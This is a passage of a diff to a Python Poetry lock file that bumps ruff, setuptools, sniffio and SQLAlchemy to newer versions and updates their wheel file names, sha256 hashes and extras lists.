"sha256:dd81b911d28925e7e8b323e8d06951554655021df8dd4ac3045d7212ac4ba080"}, - {file = "ruff-0.2.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:dc586724a95b7d980aa17f671e173df00f0a2eef23f8babbeee663229a938fec"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c92db7101ef5bfc18e96777ed7bc7c822d545fa5977e90a585accac43d22f18a"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:13471684694d41ae0f1e8e3a7497e14cd57ccb7dd72ae08d56a159d6c9c3e30e"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a11567e20ea39d1f51aebd778685582d4c56ccb082c1161ffc10f79bebe6df35"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:00a818e2db63659570403e44383ab03c529c2b9678ba4ba6c105af7854008105"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be60592f9d218b52f03384d1325efa9d3b41e4c4d55ea022cd548547cc42cd2b"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fbd2288890b88e8aab4499e55148805b58ec711053588cc2f0196a44f6e3d855"}, - {file = "ruff-0.2.1-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3ef052283da7dec1987bba8d8733051c2325654641dfe5877a4022108098683"}, - {file = "ruff-0.2.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:7022d66366d6fded4ba3889f73cd791c2d5621b2ccf34befc752cb0df70f5fad"}, - {file = "ruff-0.2.1-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:0a725823cb2a3f08ee743a534cb6935727d9e47409e4ad72c10a3faf042ad5ba"}, - {file = "ruff-0.2.1-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0034d5b6323e6e8fe91b2a1e55b02d92d0b582d2953a2b37a67a2d7dedbb7acc"}, - {file = "ruff-0.2.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e5cb5526d69bb9143c2e4d2a115d08ffca3d8e0fddc84925a7b54931c96f5c02"}, - {file = "ruff-0.2.1-py3-none-win32.whl", hash = "sha256:6b95ac9ce49b4fb390634d46d6ece32ace3acdd52814671ccaf20b7f60adb232"}, - {file = "ruff-0.2.1-py3-none-win_amd64.whl", hash = "sha256:e3affdcbc2afb6f5bd0eb3130139ceedc5e3f28d206fe49f63073cb9e65988e0"}, - {file = "ruff-0.2.1-py3-none-win_arm64.whl", hash = "sha256:efababa8e12330aa94a53e90a81eb6e2d55f348bc2e71adbf17d9cad23c03ee6"}, - {file = "ruff-0.2.1.tar.gz", hash = "sha256:3b42b5d8677cd0c72b99fcaf068ffc62abb5a19e71b4a3b9cfa50658a0af02f1"}, + {file = "ruff-0.5.0-py3-none-linux_armv6l.whl", hash = "sha256:ee770ea8ab38918f34e7560a597cc0a8c9a193aaa01bfbd879ef43cb06bd9c4c"}, + {file = "ruff-0.5.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:38f3b8327b3cb43474559d435f5fa65dacf723351c159ed0dc567f7ab735d1b6"}, + {file = "ruff-0.5.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7594f8df5404a5c5c8f64b8311169879f6cf42142da644c7e0ba3c3f14130370"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adc7012d6ec85032bc4e9065110df205752d64010bed5f958d25dbee9ce35de3"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d505fb93b0fabef974b168d9b27c3960714d2ecda24b6ffa6a87ac432905ea38"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9dc5cfd3558f14513ed0d5b70ce531e28ea81a8a3b1b07f0f48421a3d9e7d80a"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:db3ca35265de239a1176d56a464b51557fce41095c37d6c406e658cf80bbb362"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b1a321c4f68809fddd9b282fab6a8d8db796b270fff44722589a8b946925a2a8"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c4dfcd8d34b143916994b3876b63d53f56724c03f8c1a33a253b7b1e6bf2a7d"}, + {file = "ruff-0.5.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81e5facfc9f4a674c6a78c64d38becfbd5e4f739c31fcd9ce44c849f1fad9e4c"}, + {file = "ruff-0.5.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e589e27971c2a3efff3fadafb16e5aef7ff93250f0134ec4b52052b673cf988d"}, + {file = "ruff-0.5.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d2ffbc3715a52b037bcb0f6ff524a9367f642cdc5817944f6af5479bbb2eb50e"}, + {file = "ruff-0.5.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cd096e23c6a4f9c819525a437fa0a99d1c67a1b6bb30948d46f33afbc53596cf"}, + {file = "ruff-0.5.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:46e193b36f2255729ad34a49c9a997d506e58f08555366b2108783b3064a0e1e"}, + {file = "ruff-0.5.0-py3-none-win32.whl", hash = "sha256:49141d267100f5ceff541b4e06552e98527870eafa1acc9dec9139c9ec5af64c"}, + {file = "ruff-0.5.0-py3-none-win_amd64.whl", hash = "sha256:e9118f60091047444c1b90952736ee7b1792910cab56e9b9a9ac20af94cd0440"}, + {file = "ruff-0.5.0-py3-none-win_arm64.whl", hash = "sha256:ed5c4df5c1fb4518abcb57725b576659542bdbe93366f4f329e8f398c4b71178"}, + {file = "ruff-0.5.0.tar.gz", hash = "sha256:eb641b5873492cf9bd45bc9c5ae5320648218e04386a5f0c264ad6ccce8226a1"}, ] [[package]] @@ -2497,19 +2495,18 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "69.1.0" +version = "70.1.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-69.1.0-py3-none-any.whl", hash = "sha256:c054629b81b946d63a9c6e732bc8b2513a7c3ea645f11d0139a2191d735c60c6"}, - {file = "setuptools-69.1.0.tar.gz", hash = "sha256:850894c4195f09c4ed30dba56213bf7c3f21d86ed6bdaafb5df5972593bfc401"}, + {file = "setuptools-70.1.1-py3-none-any.whl", hash = "sha256:a58a8fde0541dab0419750bcc521fbdf8585f6e5cb41909df3a472ef7b81ca95"}, + {file = "setuptools-70.1.1.tar.gz", hash = "sha256:937a48c7cdb7a21eb53cd7f9b59e525503aa8abaf3584c730dc5f7a5bec3a650"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (<7.2.5)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pytest (>=6)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff (>=0.2.1)", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] -testing-integration = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "packaging (>=23.1)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +testing = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.10.0)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.1)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] [[package]] name = "simple-websocket" @@ -2648,75 +2645,75 @@ files = [ [[package]] name = "sniffio" -version = "1.3.0" +version = "1.3.1" description = "Sniff out which async library your code is running under" optional = false python-versions = ">=3.7" files = [ - {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, - {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, + {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, + {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, ] [[package]] name = "sqlalchemy" -version = "2.0.27" +version = "2.0.31" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.27-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d04e579e911562f1055d26dab1868d3e0bb905db3bccf664ee8ad109f035618a"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fa67d821c1fd268a5a87922ef4940442513b4e6c377553506b9db3b83beebbd8"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c7a596d0be71b7baa037f4ac10d5e057d276f65a9a611c46970f012752ebf2d"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:954d9735ee9c3fa74874c830d089a815b7b48df6f6b6e357a74130e478dbd951"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:5cd20f58c29bbf2680039ff9f569fa6d21453fbd2fa84dbdb4092f006424c2e6"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:03f448ffb731b48323bda68bcc93152f751436ad6037f18a42b7e16af9e91c07"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-win32.whl", hash = "sha256:d997c5938a08b5e172c30583ba6b8aad657ed9901fc24caf3a7152eeccb2f1b4"}, - {file = "SQLAlchemy-2.0.27-cp310-cp310-win_amd64.whl", hash = "sha256:eb15ef40b833f5b2f19eeae65d65e191f039e71790dd565c2af2a3783f72262f"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6c5bad7c60a392850d2f0fee8f355953abaec878c483dd7c3836e0089f046bf6"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3012ab65ea42de1be81fff5fb28d6db893ef978950afc8130ba707179b4284a"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dbcd77c4d94b23e0753c5ed8deba8c69f331d4fd83f68bfc9db58bc8983f49cd"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d177b7e82f6dd5e1aebd24d9c3297c70ce09cd1d5d37b43e53f39514379c029c"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:680b9a36029b30cf063698755d277885d4a0eab70a2c7c6e71aab601323cba45"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1306102f6d9e625cebaca3d4c9c8f10588735ef877f0360b5cdb4fdfd3fd7131"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-win32.whl", hash = "sha256:5b78aa9f4f68212248aaf8943d84c0ff0f74efc65a661c2fc68b82d498311fd5"}, - {file = "SQLAlchemy-2.0.27-cp311-cp311-win_amd64.whl", hash = "sha256:15e19a84b84528f52a68143439d0c7a3a69befcd4f50b8ef9b7b69d2628ae7c4"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0de1263aac858f288a80b2071990f02082c51d88335a1db0d589237a3435fe71"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce850db091bf7d2a1f2fdb615220b968aeff3849007b1204bf6e3e50a57b3d32"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8dfc936870507da96aebb43e664ae3a71a7b96278382bcfe84d277b88e379b18"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4fbe6a766301f2e8a4519f4500fe74ef0a8509a59e07a4085458f26228cd7cc"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:4535c49d961fe9a77392e3a630a626af5baa967172d42732b7a43496c8b28876"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0fb3bffc0ced37e5aa4ac2416f56d6d858f46d4da70c09bb731a246e70bff4d5"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-win32.whl", hash = "sha256:7f470327d06400a0aa7926b375b8e8c3c31d335e0884f509fe272b3c700a7254"}, - {file = "SQLAlchemy-2.0.27-cp312-cp312-win_amd64.whl", hash = "sha256:f9374e270e2553653d710ece397df67db9d19c60d2647bcd35bfc616f1622dcd"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:e97cf143d74a7a5a0f143aa34039b4fecf11343eed66538610debc438685db4a"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7b5a3e2120982b8b6bd1d5d99e3025339f7fb8b8267551c679afb39e9c7c7f1"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e36aa62b765cf9f43a003233a8c2d7ffdeb55bc62eaa0a0380475b228663a38f"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:5ada0438f5b74c3952d916c199367c29ee4d6858edff18eab783b3978d0db16d"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b1d9d1bfd96eef3c3faedb73f486c89e44e64e40e5bfec304ee163de01cf996f"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-win32.whl", hash = "sha256:ca891af9f3289d24a490a5fde664ea04fe2f4984cd97e26de7442a4251bd4b7c"}, - {file = "SQLAlchemy-2.0.27-cp37-cp37m-win_amd64.whl", hash = "sha256:fd8aafda7cdff03b905d4426b714601c0978725a19efc39f5f207b86d188ba01"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ec1f5a328464daf7a1e4e385e4f5652dd9b1d12405075ccba1df842f7774b4fc"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ad862295ad3f644e3c2c0d8b10a988e1600d3123ecb48702d2c0f26771f1c396"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48217be1de7d29a5600b5c513f3f7664b21d32e596d69582be0a94e36b8309cb"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e56afce6431450442f3ab5973156289bd5ec33dd618941283847c9fd5ff06bf"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:611068511b5531304137bcd7fe8117c985d1b828eb86043bd944cebb7fae3910"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b86abba762ecfeea359112b2bb4490802b340850bbee1948f785141a5e020de8"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-win32.whl", hash = "sha256:30d81cc1192dc693d49d5671cd40cdec596b885b0ce3b72f323888ab1c3863d5"}, - {file = "SQLAlchemy-2.0.27-cp38-cp38-win_amd64.whl", hash = "sha256:120af1e49d614d2525ac247f6123841589b029c318b9afbfc9e2b70e22e1827d"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d07ee7793f2aeb9b80ec8ceb96bc8cc08a2aec8a1b152da1955d64e4825fcbac"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cb0845e934647232b6ff5150df37ceffd0b67b754b9fdbb095233deebcddbd4a"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1fc19ae2e07a067663dd24fca55f8ed06a288384f0e6e3910420bf4b1270cc51"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b90053be91973a6fb6020a6e44382c97739736a5a9d74e08cc29b196639eb979"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2f5c9dfb0b9ab5e3a8a00249534bdd838d943ec4cfb9abe176a6c33408430230"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:33e8bde8fff203de50399b9039c4e14e42d4d227759155c21f8da4a47fc8053c"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-win32.whl", hash = "sha256:d873c21b356bfaf1589b89090a4011e6532582b3a8ea568a00e0c3aab09399dd"}, - {file = "SQLAlchemy-2.0.27-cp39-cp39-win_amd64.whl", hash = "sha256:ff2f1b7c963961d41403b650842dc2039175b906ab2093635d8319bef0b7d620"}, - {file = "SQLAlchemy-2.0.27-py3-none-any.whl", hash = "sha256:1ab4e0448018d01b142c916cc7119ca573803a4745cfe341b8f95657812700ac"}, - {file = "SQLAlchemy-2.0.27.tar.gz", hash = "sha256:86a6ed69a71fe6b88bf9331594fa390a2adda4a49b5c06f98e47bf0d392534f8"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f2a213c1b699d3f5768a7272de720387ae0122f1becf0901ed6eaa1abd1baf6c"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9fea3d0884e82d1e33226935dac990b967bef21315cbcc894605db3441347443"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3ad7f221d8a69d32d197e5968d798217a4feebe30144986af71ada8c548e9fa"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f2bee229715b6366f86a95d497c347c22ddffa2c7c96143b59a2aa5cc9eebbc"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cd5b94d4819c0c89280b7c6109c7b788a576084bf0a480ae17c227b0bc41e109"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:750900a471d39a7eeba57580b11983030517a1f512c2cb287d5ad0fcf3aebd58"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-win32.whl", hash = "sha256:7bd112be780928c7f493c1a192cd8c5fc2a2a7b52b790bc5a84203fb4381c6be"}, + {file = "SQLAlchemy-2.0.31-cp310-cp310-win_amd64.whl", hash = "sha256:5a48ac4d359f058474fadc2115f78a5cdac9988d4f99eae44917f36aa1476327"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f68470edd70c3ac3b6cd5c2a22a8daf18415203ca1b036aaeb9b0fb6f54e8298"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e2c38c2a4c5c634fe6c3c58a789712719fa1bf9b9d6ff5ebfce9a9e5b89c1ca"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd15026f77420eb2b324dcb93551ad9c5f22fab2c150c286ef1dc1160f110203"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2196208432deebdfe3b22185d46b08f00ac9d7b01284e168c212919891289396"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:352b2770097f41bff6029b280c0e03b217c2dcaddc40726f8f53ed58d8a85da4"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:56d51ae825d20d604583f82c9527d285e9e6d14f9a5516463d9705dab20c3740"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-win32.whl", hash = "sha256:6e2622844551945db81c26a02f27d94145b561f9d4b0c39ce7bfd2fda5776dac"}, + {file = "SQLAlchemy-2.0.31-cp311-cp311-win_amd64.whl", hash = "sha256:ccaf1b0c90435b6e430f5dd30a5aede4764942a695552eb3a4ab74ed63c5b8d3"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3b74570d99126992d4b0f91fb87c586a574a5872651185de8297c6f90055ae42"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f77c4f042ad493cb8595e2f503c7a4fe44cd7bd59c7582fd6d78d7e7b8ec52c"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd1591329333daf94467e699e11015d9c944f44c94d2091f4ac493ced0119449"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:74afabeeff415e35525bf7a4ecdab015f00e06456166a2eba7590e49f8db940e"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b9c01990d9015df2c6f818aa8f4297d42ee71c9502026bb074e713d496e26b67"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:66f63278db425838b3c2b1c596654b31939427016ba030e951b292e32b99553e"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-win32.whl", hash = "sha256:0b0f658414ee4e4b8cbcd4a9bb0fd743c5eeb81fc858ca517217a8013d282c96"}, + {file = "SQLAlchemy-2.0.31-cp312-cp312-win_amd64.whl", hash = "sha256:fa4b1af3e619b5b0b435e333f3967612db06351217c58bfb50cee5f003db2a5a"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f43e93057cf52a227eda401251c72b6fbe4756f35fa6bfebb5d73b86881e59b0"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d337bf94052856d1b330d5fcad44582a30c532a2463776e1651bd3294ee7e58b"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06fb43a51ccdff3b4006aafee9fcf15f63f23c580675f7734245ceb6b6a9e05"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:b6e22630e89f0e8c12332b2b4c282cb01cf4da0d26795b7eae16702a608e7ca1"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:79a40771363c5e9f3a77f0e28b3302801db08040928146e6808b5b7a40749c88"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-win32.whl", hash = "sha256:501ff052229cb79dd4c49c402f6cb03b5a40ae4771efc8bb2bfac9f6c3d3508f"}, + {file = "SQLAlchemy-2.0.31-cp37-cp37m-win_amd64.whl", hash = "sha256:597fec37c382a5442ffd471f66ce12d07d91b281fd474289356b1a0041bdf31d"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dc6d69f8829712a4fd799d2ac8d79bdeff651c2301b081fd5d3fe697bd5b4ab9"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:23b9fbb2f5dd9e630db70fbe47d963c7779e9c81830869bd7d137c2dc1ad05fb"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a21c97efcbb9f255d5c12a96ae14da873233597dfd00a3a0c4ce5b3e5e79704"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26a6a9837589c42b16693cf7bf836f5d42218f44d198f9343dd71d3164ceeeac"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc251477eae03c20fae8db9c1c23ea2ebc47331bcd73927cdcaecd02af98d3c3"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:2fd17e3bb8058359fa61248c52c7b09a97cf3c820e54207a50af529876451808"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-win32.whl", hash = "sha256:c76c81c52e1e08f12f4b6a07af2b96b9b15ea67ccdd40ae17019f1c373faa227"}, + {file = "SQLAlchemy-2.0.31-cp38-cp38-win_amd64.whl", hash = "sha256:4b600e9a212ed59355813becbcf282cfda5c93678e15c25a0ef896b354423238"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b6cf796d9fcc9b37011d3f9936189b3c8074a02a4ed0c0fbbc126772c31a6d4"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:78fe11dbe37d92667c2c6e74379f75746dc947ee505555a0197cfba9a6d4f1a4"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2fc47dc6185a83c8100b37acda27658fe4dbd33b7d5e7324111f6521008ab4fe"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a41514c1a779e2aa9a19f67aaadeb5cbddf0b2b508843fcd7bafdf4c6864005"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:afb6dde6c11ea4525318e279cd93c8734b795ac8bb5dda0eedd9ebaca7fa23f1"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3f9faef422cfbb8fd53716cd14ba95e2ef655400235c3dfad1b5f467ba179c8c"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-win32.whl", hash = "sha256:fc6b14e8602f59c6ba893980bea96571dd0ed83d8ebb9c4479d9ed5425d562e9"}, + {file = "SQLAlchemy-2.0.31-cp39-cp39-win_amd64.whl", hash = "sha256:3cb8a66b167b033ec72c3812ffc8441d4e9f5f78f5e31e54dcd4c90a4ca5bebc"}, + {file = "SQLAlchemy-2.0.31-py3-none-any.whl", hash = "sha256:69f3e3c08867a8e4856e92d7afb618b95cdee18e0bc1647b77599722c9a28911"}, + {file = "SQLAlchemy-2.0.31.tar.gz", hash = "sha256:b607489dd4a54de56984a0c7656247504bd5523d9d0ba799aef59d4add009484"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""} +greenlet = {version = "!=0.4.17", markers = "python_version < \"3.13\" and (platform_machine == 